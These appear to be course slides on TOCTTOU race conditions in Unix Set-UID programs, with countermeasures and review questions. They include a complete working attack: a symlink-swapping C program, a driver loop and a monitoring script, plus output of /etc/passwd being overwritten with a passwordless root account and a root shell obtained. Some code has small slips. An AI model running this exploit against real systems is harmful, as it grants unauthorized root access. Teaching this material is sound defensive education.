Race Condition Vulnerability

What Is Race Condition?

```
function withdraw($amount)
{
   $balance = getBalance();
   if($amount <= $balance)
   {
      $balance = $balance - $amount;
      echo "You have withdrawn: $amount";
      saveBalance($balance);
   }
   else
   {
      echo "Insufficient funds.";
   }
}
```

T1 : $100

$90

T2 : $100

$90

T2

90

$180

$10

A Vulnerable Program

/tmp/X (A) → /home/seed/XYZ

```
if (!access("/tmp/X", W_OK)) {
 /* the real user id has access right */
     f = open("/tmp/X", O_WRITE);
 write_to_file(f);
}
else {
 /* the real user ID does not have access right */
 fprintf(stderr, "Permission denied\n");
}
```

(1) (2)

(B) /tmp/X → /etc/passwd

/tmp/X
- writable
- sticky.

folder: writable

/etc/passwd

Attack

open : check effective uid

access : check real uid

(A) (1) (B) (2)

Another Vulnerable Program

Set-UID

```
file = "/tmp/X";
fileExist = check_file_existence(file);

if (fileExist == FALSE){
  // The file does not exist, create it.
  f = open(file, O_CREAT);

  // write to file
}
```

/tmp/X → /etc/passwd

Race Condition Question 1

Question: The following program is a Set-UID program that runs with the root's privileges. Does this program have an exploitable *race condition* vulnerability? If yes, please describe your attacks; otherwise, please explain why.

```
if (!access("/etc/shadow", W_OK)) {
   f = fopen("/etc/shadow", "O_WRITE");
   write_to_file(f);
} else {
   fprintf(stderr, "Permission denied\n");
}
```

Time-of-check-to-Time-of-use

TOCTTOU

Question: Here is another piece of code (the question statement is the same as above).

not root. flag = 1

```
int flag;
……
if (flag == 0) {
   write_to_file(f);
} else {
   // print out eror
}
```

How to Attack in Practice

How to Attack

```
{
   char * fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* get user input */
   scanf("%50s", buffer );

   if(!access(fn, W_OK)){          /* Action A */
        fp = fopen(fn, "a+");      /* Action B */
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
   }
   else printf("No permission \n");
}
```

my data

/tmp/xyz → myfile

check

/tmp/xyz → /etc/passwd

use

hash

"seed: : 0 : . . . . ."

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

Attacking Script

❖ Run the target Set-UID program

```
#!/bin/sh

while :
do
   ./vulp < passwd_input
done
```

❖ Run the attack program

```
#include <unistd.h>

int main()
{
   while(1) {
     unlink("/tmp/XYZ");
     symlink("/home/seed/myfile", "/tmp/XYZ");
     usleep(10000);

     unlink("/tmp/XYZ");
     symlink("/etc/passwd", "/tmp/XYZ");
     usleep(10000);
   }

   return 0;
}
```

❖ Monitor the result

```
#!/bin/sh

old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
   ./vulp < passwd_input
   new=`ls -l /etc/passwd`
```

```
    ./vulp < passwd_input
    new='ls -l /etc/passwd'
done
echo "STOP... The passwd file has been changed"
```

❖ Attack result

```
seed@ubuntu:~$ ./attack_process &
seed@ubuntu:~$ ./target_process
No permission
No permission
...... (many lines omitted here)
No permission
No permission
STOP... The passwd file has been changed
seed@ubuntu:~$
seed@ubuntu:~$ cat /etc/passwd
......
telnetd:x:119:129::/noexistent:/bin/false
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
seed@ubuntu:~$
seed@ubuntu:~$ su test
Password:
root@ubuntu:.../seed# id
uid=0(root) gid=0(root) groups=0(root)
```

Countermeasures

Countermeasures

```
if (!access("/tmp/X", W_OK)) {
  /* the real user ID has access right */
  f = open("/tmp/X", O_WRITE);
  write_to_file(f);
}
else {
  /* the real user ID does not have access right */
  fprintf(stderr, "Permission denied\n");
}
```

Locking the File

- File locks under Unix are by default *advisory*. This means that cooperating processes may use locks to coordinate access to a file among themselves, but uncooperative processes are also free to ignore locks and access the file in any way they choose.

Make Operation Atomic

```
file = "/tmp/X";
fileExist = check_file_existence(file);
if (fileExist == FALSE){
   // The file does not exist, create it.
   f = open(file, O_CREAT);
}
```

A

B

access + open

open(file, O_CREAT | O_Exclusive)

check file existy or not.

open(___ , ___ | O_REAL USER)

Check-Use-Repeat Approach

```c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>

int main()
{
  struct stat stat1, stat2, stat3;
  int fd1, fd2, fd3;

  // Three TOCTOU Windows:

  if (access("tmp/XYZ", O_RDWR)) {
    fprintf(stderr, "Permission denied\n");
    return -1;
  }
  else fd1 = open("/tmp/XYZ", O_RDWR);

  if (access("tmp/XYZ", O_RDWR)) {
    fprintf(stderr, "Permission denied\n");
    return -1;
  }
  else fd2 = open("/tmp/XYZ", O_RDWR);

  if (access("tmp/XYZ", O_RDWR)) {
    fprintf(stderr, "Permission denied\n");
    return -1;
  }
  else fd3 = open("/tmp/XYZ", O_RDWR);

  // Check whether f1, f2, and f3 has the same i-node (using fstat)

  fstat(fd1, &stat1);
  fstat(fd2, &stat2);
  fstat(fd3, &stat3);

  if(stat1.st_ino == stat2.st_ino && stat2.st_ino == stat3.st_ino) {
      // All 3 I-nodes are the same
    write_to_file(fd1);
  }
  else {
    fprintf(stderr, "Race condition detected\n");
    return -1;
  }
  return 0;
}
```

Ubuntu's Sticky Link Protection

❖ Turn on the protection

```
% sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
```

/tmp: Sticky

owner group other

Sticky bit

❖ What the protection means

```
int main() {
  char *fn = "/tmp/XYZ";
  FILE *fp;

  fp = fopen(fn, "r");
  if(fp == NULL) {
      printf("fopen() call failed \n");
      printf("Reason: %s\n", strerror(errno));
  }
  else
    printf("fopen() call succeeded \n");
   fclose(fp);
   return 0;
}
```

❖ The result

/tmp: root

Follower (eUID)	Directory Owner	Symlink Owner	Decision (fopen())
seed	seed	seed	Allowed
seed	seed	root	**Denied**
seed	root	seed	Allowed
seed	root	root	Allowed
root	seed	seed	Allowed
root	seed	root	Allowed
root	root	seed	**Denied**
root	root	root	Allowed

Least-Privilege Principle

Least-Privilege Principle

```
/* disable the root privilege */

uid_t real_uid = getuid(); // get real user id
uid_t effective_uid = geteuid(); // get effective user id

seteuid (real_uid);

f = open("/tmp/X", O_WRITE);
if (f != -1)
  write_to_file(f);
else
  fprintf(stderr, "Permission denied\n");

/* if needed, enable the root privilege */
seteuid (effective_uid);
```

disable root

gain root

Race Condition Question 2

We are thinking about using the least-privilege principle to defend against the buffer-overflow attack. Namely, before executing the vulnerable function, we disable the root privilege; after the vulnerable function returns, we enable the privilege back.

Does this work? Why or why not?

Summary

- Race condition vulnerabilities
- How to exploit race condition vulnerabilities
- Defending against race condition attacks